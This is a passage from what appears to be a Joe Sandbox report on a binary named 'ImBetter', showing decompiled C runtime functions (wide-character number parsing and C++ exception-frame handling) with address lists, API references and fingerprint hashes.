				if ((0x0000fffd & _t387 - 0x0000002b) != 0) goto 0xe6b3676e;
				_t381 =  *_t398;
				_t200 =  *_t381 & 0x0000ffff;
				_t382 =  &(_t381[1]);
				 *_t398 = _t382;
				_a16 = 0xa70;
				_v152 = 0xae6;
				_v148 = 0xaf0;
				_v144 = 0xb66;
				r8d = 0x660;
				_v140 = 0xb70;
				_t20 = _t382 - 0x80; // 0x5e0
				r9d = _t20;
				_v136 = 0xc66;
				r10d = 0x6f0;
				_v132 = 0xc70;
				r11d = 0x966;
				_v128 = 0xce6;
				_v124 = 0xcf0;
				_v120 = 0xd66;
				_v116 = 0xd70;
				_v112 = 0xe50;
				_v108 = 0xe5a;
				_v104 = 0xed0;
				_v100 = 0xeda;
				_v96 = 0xf20;
				_v92 = 0xf2a;
				_v88 = 0x1040;
				_v84 = 0x104a;
				_v80 = 0x17e0;
				_v76 = 0x17ea;
				_v72 = 0x1810;
				_v68 = 0xff1a;
				if ((r14d & 0xffffffef) != 0) goto 0xe6b36adc;
				if (_t200 - 0x30 < 0) goto 0xe6b36a2b;
				if (_t200 - 0x3a >= 0) goto 0xe6b3687a;
				goto 0xe6b36a26;
				if (_t200 - 0xff10 >= 0) goto 0xe6b36a17;
				if (_t200 - r8w < 0) goto 0xe6b36a2b;
				if (_t200 - 0x66a >= 0) goto 0xe6b368a2;
				goto 0xe6b36a26;
				if (_t200 - r10w < 0) goto 0xe6b36a2b;
				if (_t200 - 0x6fa >= 0) goto 0xe6b368c1;
				goto 0xe6b36a26;
				if (_t200 - r11w < 0) goto 0xe6b36a2b;
				if (_t200 - 0x970 >= 0) goto 0xe6b368e0;
				goto 0xe6b36a26;
				if (_t200 - r9w < 0) goto 0xe6b36a2b;
				if (_t200 - 0x9f0 >= 0) goto 0xe6b368ff;
				goto 0xe6b36a26;
				if (_t200 - (_t200 & 0x0000ffff) - r9d < 0) goto 0xe6b36a2b;
				if (_t200 - _a16 >= 0) goto 0xe6b3691f;
				goto 0xe6b36a26;
				if (_t200 - _v152 < 0) goto 0xe6b36a2b;
				if (_t200 - _v148 < 0) goto 0xe6b36870;
				if (_t200 - _v144 < 0) goto 0xe6b36a2b;
				if (_t200 - _v140 < 0) goto 0xe6b36870;
				if (_t200 - _v136 < 0) goto 0xe6b36a2b;
				if (_t200 - _v132 < 0) goto 0xe6b36870;
				if (_t200 - _v128 < 0) goto 0xe6b36a2b;
				if (_t200 - _v124 < 0) goto 0xe6b36870;
				if (_t200 - _v120 < 0) goto 0xe6b36a2b;
				if (_t200 - _v116 < 0) goto 0xe6b36870;
				if (_t200 - _v112 < 0) goto 0xe6b36a2b;
				if (_t200 - _v108 < 0) goto 0xe6b36870;
				if (_t200 - _v104 < 0) goto 0xe6b36a2b;
				if (_t200 - _v100 < 0) goto 0xe6b36870;
				if (_t200 - _v96 < 0) goto 0xe6b36a2b;
				if (_t200 - _v92 < 0) goto 0xe6b36870;
				if (_t200 - _v88 < 0) goto 0xe6b36a2b;
				if (_t200 - _v84 < 0) goto 0xe6b36870;
				if (_t200 - _v80 < 0) goto 0xe6b36a2b;
				if (_t200 - _v76 < 0) goto 0xe6b36870;
				if ((_t200 & 0x0000ffff) - _v72 - 9 > 0) goto 0xe6b36a2b;
				goto 0xe6b36870;
				if (_t200 - _v68 >= 0) goto 0xe6b36a2b;
				if ((_t200 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xe6b36a4d;
				_t64 = _t390 - 0x41; // -17
				_t65 = _t390 - 0x61; // -49
				_t156 = _t65;
				if (_t64 - 0x19 <= 0) goto 0xe6b36a42;
				if (_t156 - 0x19 > 0) goto 0xe6b36acd;
				if (_t156 - 0x19 > 0) goto 0xe6b36a4a;
				_t66 = _t390 - 0x37; // -231
				if (_t66 != 0) goto 0xe6b36acd;
				_t391 =  *_t398;
				r9d = 0xffdf;
				_t251 =  *_t391 & 0x0000ffff;
				_t67 =  &(_t391[1]); // 0xffe1
				_t405 = _t67;
				 *_t398 = _t405;
				_t68 = _t395 - 0x58; // 0x698
				if ((r9w & _t68) == 0) goto 0xe6b36ab5;
				 *_t398 = _t391;
				_t160 =  !=  ? r14d : 8;
				r14d =  !=  ? r14d : 8;
				if (_t251 == 0) goto 0xe6b36aad;
				if ( *_t391 == _t251) goto 0xe6b36aad;
				E00007FF77FF7E6B29CE4(_t382);
				 *_t382 = 0x16;
				E00007FF77FF7E6B25994();
				r8d = 0x660;
				r10d = 0x6f0;
				r11d = 0x966;
				goto 0xe6b36adc;
				r8d = 0x660;
				goto 0xe6b36adc;
				_t201 =  *_t405 & 0x0000ffff;
				_t71 =  &(_t405[1]); // 0xffe3
				_t383 = _t71;
				 *_t398 = _t383;
				r8d = 0x660;
				goto 0xe6b36ad2;
				_t165 =  !=  ? r14d : 0xa;
				r14d = 0xa;
				_t166 = ( !=  ? r14d : 0xa) | 0xffffffff;
				_t73 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				_t253 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				r12d = 0x30;
				r15d = 0xff10;
				r9d = 0xa / r14d;
				if (_t201 - r12w < 0) goto 0xe6b36cac;
				if (_t201 - 0x3a >= 0) goto 0xe6b36b0e;
				goto 0xe6b36ca7;
				if (_t201 - r15w >= 0) goto 0xe6b36c97;
				if (_t201 - r8w < 0) goto 0xe6b36cac;
				if (_t201 - 0x66a >= 0) goto 0xe6b36b37;
				goto 0xe6b36ca7;
				if (_t201 - r10w < 0) goto 0xe6b36cac;
				if (_t201 - 0x6fa >= 0) goto 0xe6b36b56;
				goto 0xe6b36ca7;
				if (_t201 - r11w < 0) goto 0xe6b36cac;
				if (_t201 - 0x970 >= 0) goto 0xe6b36b75;
				goto 0xe6b36ca7;
				if (_t201 - 0x9e6 < 0) goto 0xe6b36cac;
				_t76 =  &(_t383[5]); // 0x9f0
				if (_t201 - _t76 >= 0) goto 0xe6b36b95;
				goto 0xe6b36ca7;
				if (_t201 - 0xa66 < 0) goto 0xe6b36cac;
				if (_t201 - _a16 < 0) goto 0xe6b36b8b;
				if (_t201 - _v152 < 0) goto 0xe6b36cac;
				if (_t201 - _v148 < 0) goto 0xe6b36b8b;
				if (_t201 - _v144 < 0) goto 0xe6b36cac;
				if (_t201 - _v140 < 0) goto 0xe6b36b8b;
				if (_t201 - _v136 < 0) goto 0xe6b36cac;
				if (_t201 - _v132 < 0) goto 0xe6b36b8b;
				if (_t201 - _v128 < 0) goto 0xe6b36cac;
				if (_t201 - _v124 < 0) goto 0xe6b36b8b;
				if (_t201 - _v120 < 0) goto 0xe6b36cac;
				if (_t201 - _v116 < 0) goto 0xe6b36b8b;
				if (_t201 - _v112 < 0) goto 0xe6b36cac;
				if (_t201 - _v108 < 0) goto 0xe6b36b8b;
				if (_t201 - _v104 < 0) goto 0xe6b36cac;
				if (_t201 - _v100 < 0) goto 0xe6b36b8b;
				if (_t201 - _v96 < 0) goto 0xe6b36cac;
				if (_t201 - _v92 < 0) goto 0xe6b36b8b;
				if (_t201 - _v88 < 0) goto 0xe6b36cac;
				if (_t201 - _v84 < 0) goto 0xe6b36b8b;
				if (_t201 - _v80 < 0) goto 0xe6b36cac;
				if (_t201 - _v76 < 0) goto 0xe6b36b8b;
				if ((_t201 & 0x0000ffff) - _v72 - 9 > 0) goto 0xe6b36cac;
				goto 0xe6b36ca7;
				if (_t201 - _v68 >= 0) goto 0xe6b36cac;
				if ((_t201 & 0x0000ffff) - r15d != 0xffffffff) goto 0xe6b36ccf;
				_t100 = _t391 - 0x41; // -65
				_t101 = _t391 - 0x61; // -97
				_t186 = _t101;
				if (_t100 - 0x19 <= 0) goto 0xe6b36cbf;
				if (_t186 - 0x19 > 0) goto 0xe6b36ccc;
				if (_t186 - 0x19 > 0) goto 0xe6b36cc7;
				goto 0xe6b36ccf;
				_t406 =  *_t398;
				if (((_t201 & 0x0000ffff) + 0x1ffffffa9 | 0xffffffff) - r14d >= 0) goto 0xe6b36d13;
				_t202 =  *_t406 & 0x0000ffff;
				_t255 = _t383 + _t391;
				_t262 = _t255;
				r8d = 0x660;
				 *_t398 =  &(_t406[1]);
				_t259 = ( !=  ? _t256 : _t256 | 0x00000002) | (r13d & 0xffffff00 | _t255 - r13d * r14d > 0x00000000 | r13d & 0xffffff00 | _t261 - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xe6b36af3;
				_t411 = _a8;
				_t385 = _t406 - 2;
				_t409 = _v64;
				 *_t398 = _t385;
				if (_t202 == 0) goto 0xe6b36d44;
				if ( *_t385 == _t202) goto 0xe6b36d44;
				E00007FF77FF7E6B29CE4(_t385);
				 *_t385 = 0x16;
				E00007FF77FF7E6B25994();
				if ((sil & 0x00000008) != 0) goto 0xe6b36d60;
				_t386 = _t398[1];
				 *_t398 = _t409;
				if (_t386 == 0) goto 0xe6b36d59;
				 *_t386 = _t409;
				goto 0xe6b36de4;
				r8d = 0x80000000;
				r9d = _t406 - 1;
				if ((sil & 0x00000004) != 0) goto 0xe6b36d88;
				if ((sil & 0x00000001) == 0) goto 0xe6b36dcb;
				if ((sil & 0x00000002) == 0) goto 0xe6b36d83;
				if (_t262 - r8d <= 0) goto 0xe6b36dd1;
				goto 0xe6b36d88;
				if (_t262 - r9d <= 0) goto 0xe6b36dd3;
				 *((char*)(_t411 + 0x30)) = 1;
				 *((intOrPtr*)(_t411 + 0x2c)) = 0x22;
				if ((_t259 & 0x00000001) != 0) goto 0xe6b36da3;
				goto 0xe6b36dd3;
				_t396 = _t398[1];
				if ((_t259 & 0x00000002) == 0) goto 0xe6b36dbb;
				if (_t396 == 0) goto 0xe6b36db6;
				 *_t396 =  *_t398;
				goto 0xe6b36de4;
				if (_t396 == 0) goto 0xe6b36dc6;
				 *_t396 =  *_t398;
				goto 0xe6b36de4;
				if ((sil & 0x00000002) == 0) goto 0xe6b36dd3;
				_t397 = _t398[1];
				if (_t397 == 0) goto 0xe6b36de2;
				 *_t397 =  *_t398;
				return  ~(_t262 | 0xffffffff);
			}

0x7ff7e6b36678
0x7ff7e6b36678
0x7ff7e6b36678
0x7ff7e6b3667d
0x7ff7e6b36694
0x7ff7e6b36697
0x7ff7e6b3669a
0x7ff7e6b3669e
0x7ff7e6b366a1
0x7ff7e6b366a9
0x7ff7e6b366af
0x7ff7e6b366b1
0x7ff7e6b366b6
0x7ff7e6b366bc
0x7ff7e6b366c1
0x7ff7e6b366c6
0x7ff7e6b366cf
0x7ff7e6b366d1
0x7ff7e6b366d6
0x7ff7e6b366d9
0x7ff7e6b366dd
0x7ff7e6b366e0
0x7ff7e6b366eb
0x7ff7e6b366f0
0x7ff7e6b366f5
0x7ff7e6b366fc
0x7ff7e6b36705
0x7ff7e6b36708
0x7ff7e6b36712
0x7ff7e6b36717
0x7ff7e6b3671a
0x7ff7e6b36721
0x7ff7e6b36723
0x7ff7e6b36728
0x7ff7e6b3672a
0x7ff7e6b36734
0x7ff7e6b36746
0x7ff7e6b36756
0x7ff7e6b3675f
0x7ff7e6b36761
0x7ff7e6b36764
0x7ff7e6b36767
0x7ff7e6b3676b
0x7ff7e6b3676e
0x7ff7e6b3677e
0x7ff7e6b3678b
0x7ff7e6b36798
0x7ff7e6b367a0
0x7ff7e6b367a6
0x7ff7e6b367ae
0x7ff7e6b367ae
0x7ff7e6b367b2
0x7ff7e6b367ba
0x7ff7e6b367c0
0x7ff7e6b367c8
0x7ff7e6b367ce
0x7ff7e6b367d6
0x7ff7e6b367de
0x7ff7e6b367e6
0x7ff7e6b367ee
0x7ff7e6b367f6
0x7ff7e6b367fe
0x7ff7e6b36806
0x7ff7e6b3680e
0x7ff7e6b36816
0x7ff7e6b3681e
0x7ff7e6b36826
0x7ff7e6b3682e
0x7ff7e6b36836
0x7ff7e6b3683e
0x7ff7e6b36849
0x7ff7e6b3685b
0x7ff7e6b36864
0x7ff7e6b3686e
0x7ff7e6b36875
0x7ff7e6b3687d
0x7ff7e6b36887
0x7ff7e6b36895
0x7ff7e6b3689d
0x7ff7e6b368a6
0x7ff7e6b368b4
0x7ff7e6b368bc
0x7ff7e6b368c5
0x7ff7e6b368d3
0x7ff7e6b368db
0x7ff7e6b368e4
0x7ff7e6b368f2
0x7ff7e6b368fa
0x7ff7e6b36902
0x7ff7e6b36910
0x7ff7e6b3691a
0x7ff7e6b36926
0x7ff7e6b36931
0x7ff7e6b3693e
0x7ff7e6b36949
0x7ff7e6b36956
0x7ff7e6b36961
0x7ff7e6b3696e
0x7ff7e6b36979
0x7ff7e6b36986
0x7ff7e6b36991
0x7ff7e6b3699e
0x7ff7e6b369a9
0x7ff7e6b369b6
0x7ff7e6b369bd
0x7ff7e6b369ca
0x7ff7e6b369d1
0x7ff7e6b369de
0x7ff7e6b369e5
0x7ff7e6b369f2
0x7ff7e6b369f9
0x7ff7e6b36a10
0x7ff7e6b36a12
0x7ff7e6b36a1f
0x7ff7e6b36a29
0x7ff7e6b36a2e
0x7ff7e6b36a34
0x7ff7e6b36a34
0x7ff7e6b36a37
0x7ff7e6b36a3c
0x7ff7e6b36a45
0x7ff7e6b36a4a
0x7ff7e6b36a4f
0x7ff7e6b36a51
0x7ff7e6b36a54
0x7ff7e6b36a5a
0x7ff7e6b36a5d
0x7ff7e6b36a5d
0x7ff7e6b36a61
0x7ff7e6b36a64
0x7ff7e6b36a6b
0x7ff7e6b36a70
0x7ff7e6b36a78
0x7ff7e6b36a7c
0x7ff7e6b36a82
0x7ff7e6b36a87
0x7ff7e6b36a89
0x7ff7e6b36a8e
0x7ff7e6b36a94
0x7ff7e6b36a99
0x7ff7e6b36a9f
0x7ff7e6b36aa5
0x7ff7e6b36aab
0x7ff7e6b36aad
0x7ff7e6b36ab3
0x7ff7e6b36ab5
0x7ff7e6b36ab9
0x7ff7e6b36ab9
0x7ff7e6b36abd
0x7ff7e6b36ac0
0x7ff7e6b36acb
0x7ff7e6b36ad5
0x7ff7e6b36ad9
0x7ff7e6b36ade
0x7ff7e6b36ae1
0x7ff7e6b36ae1
0x7ff7e6b36ae4
0x7ff7e6b36aea
0x7ff7e6b36af0
0x7ff7e6b36af7
0x7ff7e6b36b01
0x7ff7e6b36b09
0x7ff7e6b36b12
0x7ff7e6b36b1c
0x7ff7e6b36b2a
0x7ff7e6b36b32
0x7ff7e6b36b3b
0x7ff7e6b36b49
0x7ff7e6b36b51
0x7ff7e6b36b5a
0x7ff7e6b36b68
0x7ff7e6b36b70
0x7ff7e6b36b7d
0x7ff7e6b36b83
0x7ff7e6b36b89
0x7ff7e6b36b90
0x7ff7e6b36b9d
0x7ff7e6b36bab
0x7ff7e6b36bb4
0x7ff7e6b36bbf
0x7ff7e6b36bc8
0x7ff7e6b36bd3
0x7ff7e6b36bdc
0x7ff7e6b36be7
0x7ff7e6b36bf0
0x7ff7e6b36bfb
0x7ff7e6b36c04
0x7ff7e6b36c0f
0x7ff7e6b36c1c
0x7ff7e6b36c27
0x7ff7e6b36c34
0x7ff7e6b36c3b
0x7ff7e6b36c48
0x7ff7e6b36c4f
0x7ff7e6b36c5c
0x7ff7e6b36c63
0x7ff7e6b36c70
0x7ff7e6b36c77
0x7ff7e6b36c8e
0x7ff7e6b36c95
0x7ff7e6b36c9f
0x7ff7e6b36caa
0x7ff7e6b36caf
0x7ff7e6b36cb5
0x7ff7e6b36cb5
0x7ff7e6b36cb8
0x7ff7e6b36cbd
0x7ff7e6b36cc2
0x7ff7e6b36cca
0x7ff7e6b36ccf
0x7ff7e6b36cd5
0x7ff7e6b36cd7
0x7ff7e6b36ce1
0x7ff7e6b36cf2
0x7ff7e6b36d00
0x7ff7e6b36d09
0x7ff7e6b36d0c
0x7ff7e6b36d0e
0x7ff7e6b36d13
0x7ff7e6b36d1b
0x7ff7e6b36d1f
0x7ff7e6b36d27
0x7ff7e6b36d2d
0x7ff7e6b36d32
0x7ff7e6b36d34
0x7ff7e6b36d39
0x7ff7e6b36d3f
0x7ff7e6b36d48
0x7ff7e6b36d4a
0x7ff7e6b36d4e
0x7ff7e6b36d54
0x7ff7e6b36d56
0x7ff7e6b36d5b
0x7ff7e6b36d60
0x7ff7e6b36d66
0x7ff7e6b36d6e
0x7ff7e6b36d74
0x7ff7e6b36d7a
0x7ff7e6b36d7f
0x7ff7e6b36d81
0x7ff7e6b36d86
0x7ff7e6b36d8a
0x7ff7e6b36d92
0x7ff7e6b36d9c
0x7ff7e6b36da1
0x7ff7e6b36da3
0x7ff7e6b36da9
0x7ff7e6b36dae
0x7ff7e6b36db3
0x7ff7e6b36db9
0x7ff7e6b36dbe
0x7ff7e6b36dc3
0x7ff7e6b36dc9
0x7ff7e6b36dcf
0x7ff7e6b36dd3
0x7ff7e6b36dda
0x7ff7e6b36ddf
0x7ff7e6b36dfe

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B366BC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B36A94
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B36D3F

Strings

f, xrefs: 00007FF7E6B367DE
0, xrefs: 00007FF7E6B36AE4
p, xrefs: 00007FF7E6B3676E
p, xrefs: 00007FF7E6B367E6

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: d34f781e2dcb13ebf63c7fbb66d09fb5a0767ecff6ee6a3c6f8b282cd61d5e54
Instruction ID: bf20e7c1684cbcfbec83c875484720277052bcc0203b05bc0c0ec89b2eba2d0a
Opcode Fuzzy Hash: d34f781e2dcb13ebf63c7fbb66d09fb5a0767ecff6ee6a3c6f8b282cd61d5e54
Instruction Fuzzy Hash: 05129461FA815386FB247A14D84437BF6A9FB40754FE44033E69947EC4EEBCE8408B62

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B40568 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF7E6B40568(intOrPtr __ecx, void* __edx, void* __esi, intOrPtr* __rcx, long long __rdx, long long __r8, long long __r9, void* __r10) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int* _t128;
				void* _t145;
				intOrPtr _t146;
				intOrPtr _t154;
				void* _t173;
				intOrPtr _t176;
				signed int _t177;
				signed int _t178;
				void* _t209;
				signed long long _t219;
				signed long long _t220;
				signed long long _t226;
				long long _t228;
				signed int _t235;
				intOrPtr* _t236;
				intOrPtr* _t237;
				long long _t267;
				signed int* _t280;
				long long _t281;
				void* _t282;
				void* _t283;
				signed long long _t284;
				long long _t296;
				signed int _t307;
				unsigned long long _t313;

				_t180 = __esi;
				_t282 = _t283 - 0x28;
				_t284 = _t283 - 0x128;
				_t219 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t220 = _t219 ^ _t284;
				 *(_t282 + 0x10) = _t220;
				_t280 =  *((intOrPtr*)(_t282 + 0x90));
				_t307 =  *((intOrPtr*)(_t282 + 0xa8));
				 *((long long*)(_t284 + 0x68)) = __r8;
				_t236 = __rcx;
				 *((long long*)(_t284 + 0x78)) = __rdx;
				 *(_t282 - 0x68) = _t307;
				 *((char*)(_t284 + 0x60)) = 0;
				_t281 = __r9;
				_t128 = E00007FF77FF7E6B428BC(__ecx, __esi, __rcx, __rdx, __r9, __r9, _t282, _t280, __r9);
				r14d = _t128;
				if (_t128 - 0xffffffff < 0) goto 0xe6b40a37;
				if (_t128 - _t280[1] >= 0) goto 0xe6b40a37;
				if ( *_t236 != 0xe06d7363) goto 0xe6b406b4;
				if ( *((intOrPtr*)(_t236 + 0x18)) != 4) goto 0xe6b406b4;
				if ( *((intOrPtr*)(_t236 + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b406b4;
				if ( *((long long*)(_t236 + 0x30)) != 0) goto 0xe6b406b4;
				E00007FF77FF7E6B3FA9C(_t220);
				if ( *((long long*)(_t220 + 0x20)) == 0) goto 0xe6b409d0;
				E00007FF77FF7E6B3FA9C(_t220);
				_t237 =  *((intOrPtr*)(_t220 + 0x20));
				E00007FF77FF7E6B3FA9C(_t220);
				 *((char*)(_t284 + 0x60)) = 1;
				 *((long long*)(_t284 + 0x68)) =  *((intOrPtr*)(_t220 + 0x28));
				E00007FF77FF7E6B3E5D4(_t220,  *((intOrPtr*)(_t237 + 0x38)));
				if ( *_t237 != 0xe06d7363) goto 0xe6b4066c;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0xe6b4066c;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b4066c;
				if ( *((long long*)(_t237 + 0x30)) == 0) goto 0xe6b40a37;
				E00007FF77FF7E6B3FA9C(_t220);
				if ( *(_t220 + 0x38) == 0) goto 0xe6b406b4;
				E00007FF77FF7E6B3FA9C(_t220);
				E00007FF77FF7E6B3FA9C(_t220);
				 *(_t220 + 0x38) =  *(_t220 + 0x38) & 0x00000000;
				if (E00007FF77FF7E6B42954(_t220, _t237, _t237,  *(_t220 + 0x38), __r9) != 0) goto 0xe6b406af;
				if (E00007FF77FF7E6B42A44(_t220, _t237,  *(_t220 + 0x38), __r9, _t282) == 0) goto 0xe6b40a14;
				goto 0xe6b409f0;
				 *((long long*)(_t282 - 0x40)) =  *((intOrPtr*)(__r9 + 8));
				 *(_t282 - 0x48) = _t280;
				if ( *_t237 != 0xe06d7363) goto 0xe6b40987;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0xe6b40987;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b40987;
				r15d = 0;
				if (_t280[3] - r15d <= 0) goto 0xe6b408b8;
				 *(_t284 + 0x28) =  *(_t282 + 0xa0);
				 *(_t284 + 0x20) = _t280;
				r8d = r14d;
				_t145 = E00007FF77FF7E6B3DE70(_t237, _t282 - 0x28, _t282 - 0x48, __r9, _t282, _t280, __r9, __r10);
				asm("movups xmm0, [ebp-0x28]");
				asm("movdqu [ebp-0x38], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t145 -  *((intOrPtr*)(_t282 - 0x10)) >= 0) goto 0xe6b408b8;
				_t296 =  *((intOrPtr*)(_t282 - 0x28));
				r13d =  *((intOrPtr*)(_t282 - 0x30));
				 *((long long*)(_t282 - 0x80)) = _t296;
				_t146 = r13d;
				asm("inc ecx");
				 *((intOrPtr*)(_t282 - 0x50)) = __ecx;
				asm("movd eax, xmm0");
				asm("movups [ebp-0x60], xmm0");
				if (_t146 - r14d > 0) goto 0xe6b408ab;
				_t226 =  *(_t282 - 0x60) >> 0x20;
				if (r14d - _t146 > 0) goto 0xe6b408ab;
				r12d = r15d;
				_t267 =  *((intOrPtr*)( *((intOrPtr*)( *( *(_t282 - 0x38)) + 0x10)) + ( *( *(_t282 - 0x38)) +  *( *(_t282 - 0x38)) * 4) * 4 +  *((intOrPtr*)(_t296 + 8)) + 0x10)) +  *((intOrPtr*)(__r9 + 8));
				_t313 =  *(_t282 - 0x58) >> 0x20;
				 *((long long*)(_t282 - 0x70)) = _t267;
				if (r15d == 0) goto 0xe6b40898;
				asm("movups xmm0, [edx+ecx*4]");
				asm("movups [ebp-0x8], xmm0");
				 *((intOrPtr*)(_t282 + 8)) =  *((intOrPtr*)(_t267 + 0x10 + (_t226 + _t226 * 4) * 4));
				E00007FF77FF7E6B3E5A8(_t226);
				_t228 = _t226 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc));
				 *((long long*)(_t284 + 0x70)) = _t228;
				E00007FF77FF7E6B3E5A8(_t228);
				_t176 =  *((intOrPtr*)(_t228 +  *((intOrPtr*)( *((intOrPtr*)(_t237 + 0x30)) + 0xc))));
				 *((intOrPtr*)(_t284 + 0x64)) = _t176;
				if (_t176 <= 0) goto 0xe6b40828;
				E00007FF77FF7E6B3E5A8(_t228);
				 *((long long*)(_t282 - 0x78)) = _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70))));
				if (E00007FF77FF7E6B41448(_t180, _t237, _t282 - 8, _t228 +  *((intOrPtr*)( *((intOrPtr*)(_t284 + 0x70)))), _t280, __r9,  *((intOrPtr*)(_t237 + 0x30))) != 0) goto 0xe6b40839;
				 *((long long*)(_t284 + 0x70)) =  *((long long*)(_t284 + 0x70)) + 4;
				_t154 =  *((intOrPtr*)(_t284 + 0x64)) - 1;
				 *((intOrPtr*)(_t284 + 0x64)) = _t154;
				if (_t154 > 0) goto 0xe6b407ec;
				r12d = r12d + 1;
				if (r12d == r15d) goto 0xe6b4089f;
				goto 0xe6b407a5;
				 *((char*)(_t284 + 0x58)) =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) =  *((intOrPtr*)(_t284 + 0x60));
				 *((long long*)(_t284 + 0x48)) =  *(_t282 - 0x68);
				 *(_t284 + 0x40) =  *(_t282 + 0xa0);
				 *(_t284 + 0x38) = _t282 - 0x60;
				 *(_t284 + 0x30) =  *((intOrPtr*)(_t282 - 0x78));
				 *(_t284 + 0x28) = _t282 - 8;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF7E6B403C0(_t176, _t180, _t237, _t237,  *((intOrPtr*)(_t284 + 0x78)),  *((intOrPtr*)(_t284 + 0x68)), _t281);
				goto 0xe6b408a4;
				goto 0xe6b408a8;
				r15d = 0;
				r13d = r13d + 1;
				if (r13d -  *((intOrPtr*)(_t282 - 0x10)) < 0) goto 0xe6b4073d;
				if (( *_t280 & 0x1fffffff) - 0x19930521 < 0) goto 0xe6b409c4;
				_t209 = _t280[8] - r15d;
				if (_t209 == 0) goto 0xe6b408de;
				E00007FF77FF7E6B3E594(_t282 - 8);
				if (_t209 != 0) goto 0xe6b408ff;
				if ((_t280[9] >> 0x00000002 & 0x00000001) == 0) goto 0xe6b409c4;
				if (E00007FF77FF7E6B3DCB4(_t280[9] >> 0x00000002 & 0x00000001, _t282 - 8 + _t280[8], _t281, _t280) != 0) goto 0xe6b409c4;
				if ((_t280[9] >> 0x00000002 & 0x00000001) != 0) goto 0xe6b40a1a;
				if (_t280[8] == r15d) goto 0xe6b40924;
				E00007FF77FF7E6B3E594(_t282 - 8 + _t280[8]);
				_t235 = _t280[8];
				goto 0xe6b40927;
				if (E00007FF77FF7E6B42954(_t235, _t237, _t237, _t313, _t281) != 0) goto 0xe6b409c4;
				E00007FF77FF7E6B3DD80(_t237,  *((intOrPtr*)(_t284 + 0x78)), _t281, _t282, _t280, _t282 - 0x78);
				_t177 =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) = _t177;
				_t178 = _t177 | 0xffffffff;
				 *((long long*)(_t284 + 0x48)) = _t281;
				 *(_t284 + 0x40) = _t313;
				 *(_t284 + 0x38) = _t178;
				 *(_t284 + 0x30) = _t178;
				 *(_t284 + 0x28) = _t280;
				 *(_t284 + 0x20) = _t313;
				E00007FF77FF7E6B3E11C( *((intOrPtr*)(_t284 + 0x78)), _t237,  *((intOrPtr*)(_t284 + 0x68)), _t235);
				goto 0xe6b409c4;
				if (_t280[3] <= 0) goto 0xe6b409c4;
				if ( *((char*)(_t282 + 0x98)) != 0) goto 0xe6b40a37;
				 *(_t284 + 0x38) = _t307;
				 *(_t284 + 0x30) =  *(_t282 + 0xa0);
				 *(_t284 + 0x28) = r14d;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF7E6B40F3C(_t237, _t237,  *((intOrPtr*)(_t284 + 0x78)), _t313, _t281);
				_t173 = E00007FF77FF7E6B3FA9C(_t235);
				if ( *((long long*)(_t235 + 0x38)) != 0) goto 0xe6b40a37;
				return E00007FF77FF7E6B3C7F0(_t173, _t178,  *(_t282 + 0x10) ^ _t284);
			}

0x7ff7e6b40568
0x7ff7e6b40575
0x7ff7e6b4057a
0x7ff7e6b40581
0x7ff7e6b40588
0x7ff7e6b4058b
0x7ff7e6b4058f
0x7ff7e6b40599
0x7ff7e6b405a3
0x7ff7e6b405a8
0x7ff7e6b405ab
0x7ff7e6b405b6
0x7ff7e6b405bd
0x7ff7e6b405c2
0x7ff7e6b405c5
0x7ff7e6b405ca
0x7ff7e6b405d0
0x7ff7e6b405d9
0x7ff7e6b405e5
0x7ff7e6b405ef
0x7ff7e6b40600
0x7ff7e6b4060b
0x7ff7e6b40611
0x7ff7e6b4061b
0x7ff7e6b40621
0x7ff7e6b40626
0x7ff7e6b4062a
0x7ff7e6b40633
0x7ff7e6b4063c
0x7ff7e6b40641
0x7ff7e6b4064c
0x7ff7e6b40652
0x7ff7e6b4065f
0x7ff7e6b40666
0x7ff7e6b4066c
0x7ff7e6b40676
0x7ff7e6b40678
0x7ff7e6b40681
0x7ff7e6b4068c
0x7ff7e6b40698
0x7ff7e6b406a4
0x7ff7e6b406aa
0x7ff7e6b406b8
0x7ff7e6b406bc
0x7ff7e6b406c6
0x7ff7e6b406d0
0x7ff7e6b406e1
0x7ff7e6b406e7
0x7ff7e6b406ee
0x7ff7e6b406fe
0x7ff7e6b40709
0x7ff7e6b4070e
0x7ff7e6b40711
0x7ff7e6b40716
